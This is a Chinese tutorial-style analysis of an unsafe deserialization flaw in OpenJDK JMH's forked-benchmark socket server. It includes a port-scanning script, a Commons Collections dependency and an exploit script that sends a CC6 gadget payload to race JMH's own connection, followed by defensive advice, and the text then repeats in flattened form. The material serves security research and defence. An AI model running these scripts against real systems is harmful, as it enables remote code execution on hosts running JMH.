OpenJDK JMH反序列化漏洞挖掘分析
字数 1022 2025-09-01 11:26:11

OpenJDK JMH反序列化漏洞挖掘分析教学文档

一、漏洞简介

JMH (Java Microbenchmark Harness) 是专门用于代码微基准测试的工具套件,主要用于方法层面的基准测试,精度可达纳秒级。该组件存在一个未被公开的反序列化漏洞,虽然实战意义不大,但作为研究思路具有参考价值。

二、影响版本

该漏洞影响所有版本的JMH组件。

三、漏洞挖掘分析

1. 漏洞入口分析

从官方DEMO开始分析:

public static void main(String[] args) throws RunnerException {  
    Options opt = new OptionsBuilder()  
            .include(WhatsupBro.class.getSimpleName())  
            .forks(1)  
            .build();  
    new Runner(opt).run();  
}

关键调用链:

  1. run()方法检查JMH参数配置
  2. 进入internalRun()进行初始化
  3. 调用runBenchmarks(benchmarks)执行基准测试

2. 关键漏洞点

runBenchmarks方法中,重点关注case FORKED分支:

case FORKED:  
    res = runSeparate(r);  
    break;

runSeparate方法中初始化了BinaryLinkServer对象,并启动Acceptor线程处理连接。

3. 反序列化漏洞细节

Handler类中发现了不安全的反序列化操作:

public Handler(Socket socket) throws IOException {  
    this.socket = socket;  
    this.is = socket.getInputStream();  
    this.os = socket.getOutputStream();  
    oos = new ObjectOutputStream(new BufferedOutputStream(os, BUFFER_SIZE));  
    oos.flush();  
}

@Override  
public void run() {  
    try {  
        ois = new ObjectInputStream(new BufferedInputStream(is, BUFFER_SIZE));  
        while ((obj = ois.readObject()) != null) {  // 反序列化点
            // 处理各种帧类型
        }
    } catch (Exception e) {
        // 异常处理
    }
}

4. 端口发现机制

服务端监听随机端口:

private int getListenPort() {  
    return Integer.getInteger("jmh.link.port", 0);  // 默认随机端口
}

但可以通过识别Java序列化流标头AC ED 00 05来发现开放端口。

四、环境搭建

  1. 从官方仓库下载JMH
  2. 等待依赖下载完成
  3. 运行org/openjdk/jmh/samples下的任意DEMO

五、漏洞验证

1. 端口扫描POC

import socket
import threading
import queue
import binascii
from concurrent.futures import ThreadPoolExecutor
import sys

TARGET_HOST = "127.0.0.1"
PORT_RANGE = range(1, 65536)
TIMEOUT = 1
MAX_THREADS = 100
STREAM_HEADER = b"\xAC\xED\x00\x05"

def check_port(port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(TIMEOUT)
        sock.connect((TARGET_HOST, port))
        data = sock.recv(1024)
        if data.startswith(STREAM_HEADER):
            hex_data = binascii.hexlify(data[:4]).decode().upper()
            result_queue.put((port, hex_data))
        sock.close()
    except (socket.timeout, socket.error):
        pass

2. 漏洞利用POC

需要添加Commons Collections依赖:

<dependency>  
    <groupId>commons-collections</groupId>  
    <artifactId>commons-collections</artifactId>  
    <version>3.1</version>  
</dependency>

利用脚本:

import socket
import time

def connect_to_server():
    max_attempts = 100000
    attempts = 0
    while attempts < max_attempts:
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        host = "127.0.0.1"
        port = 9004  # 修改为目标端口
        try:
            client_socket.connect((host, port))
            return client_socket
        except socket.error:
            attempts += 1
            time.sleep(1)
    return None

while True:
    client_socket = connect_to_server()
    if client_socket:
        try:
            with open("cc6calc.ser", "rb") as file:
                while True:
                    data_to_send = file.read(1024)
                    if not data_to_send:
                        break
                    client_socket.send(data_to_send)
        finally:
            client_socket.close()

3. 利用限制条件

  1. 目标WEB应用需要同时引用JMH组件和可利用的依赖(如Commons Collections)
  2. 攻击工具需要比项目提前运行监听端口
  3. 需要扫描发现基准测试运行的随机端口

六、总结与防御建议

1. 漏洞特点

  1. 需要特定条件才能利用
  2. 需要抢占连接通道(第一个连接由JMH自身建立)
  3. 端口随机但可通过特征识别

2. 防御措施

  1. 使用固定端口参数运行JMH: -Djmh.link.port=固定端口
  2. 添加JMH参数: -Djmh.ignoreLock=true
  3. 网络层面限制JMH端口的外部访问
  4. 避免在生产环境使用JMH基准测试

3. 研究价值

虽然该漏洞实战利用价值有限,但提供了以下研究思路:

  1. 对Java基准测试组件的安全审计方法
  2. 随机端口服务的识别技术
  3. 抢占式攻击在反序列化漏洞中的应用

该漏洞分析展示了即使是非传统Web组件也可能存在安全隐患,强调了全面安全审计的重要性。

OpenJDK JMH反序列化漏洞挖掘分析教学文档 一、漏洞简介 JMH (Java Microbenchmark Harness) 是专门用于代码微基准测试的工具套件,主要用于方法层面的基准测试,精度可达纳秒级。该组件存在一个未被公开的反序列化漏洞,虽然实战意义不大,但作为研究思路具有参考价值。 二、影响版本 该漏洞影响所有版本的JMH组件。 三、漏洞挖掘分析 1. 漏洞入口分析 从官方DEMO开始分析: 关键调用链: run() 方法检查JMH参数配置 进入 internalRun() 进行初始化 调用 runBenchmarks(benchmarks) 执行基准测试 2. 关键漏洞点 在 runBenchmarks 方法中,重点关注 case FORKED 分支: runSeparate 方法中初始化了 BinaryLinkServer 对象,并启动 Acceptor 线程处理连接。 3. 反序列化漏洞细节 在 Handler 类中发现了不安全的反序列化操作: 4. 端口发现机制 服务端监听随机端口: 但可以通过识别Java序列化流标头 AC ED 00 05 来发现开放端口。 四、环境搭建 从官方仓库下载JMH 等待依赖下载完成 运行 org/openjdk/jmh/samples 下的任意DEMO 五、漏洞验证 1. 端口扫描POC 2. 漏洞利用POC 需要添加Commons Collections依赖: 利用脚本: 3. 利用限制条件 目标WEB应用需要同时引用JMH组件和可利用的依赖(如Commons Collections) 攻击工具需要比项目提前运行监听端口 需要扫描发现基准测试运行的随机端口 六、总结与防御建议 1. 漏洞特点 需要特定条件才能利用 需要抢占连接通道(第一个连接由JMH自身建立) 端口随机但可通过特征识别 2. 防御措施 使用固定端口参数运行JMH: -Djmh.link.port=固定端口 添加JMH参数: -Djmh.ignoreLock=true 网络层面限制JMH端口的外部访问 避免在生产环境使用JMH基准测试 3. 研究价值 虽然该漏洞实战利用价值有限,但提供了以下研究思路: 对Java基准测试组件的安全审计方法 随机端口服务的识别技术 抢占式攻击在反序列化漏洞中的应用 该漏洞分析展示了即使是非传统Web组件也可能存在安全隐患,强调了全面安全审计的重要性。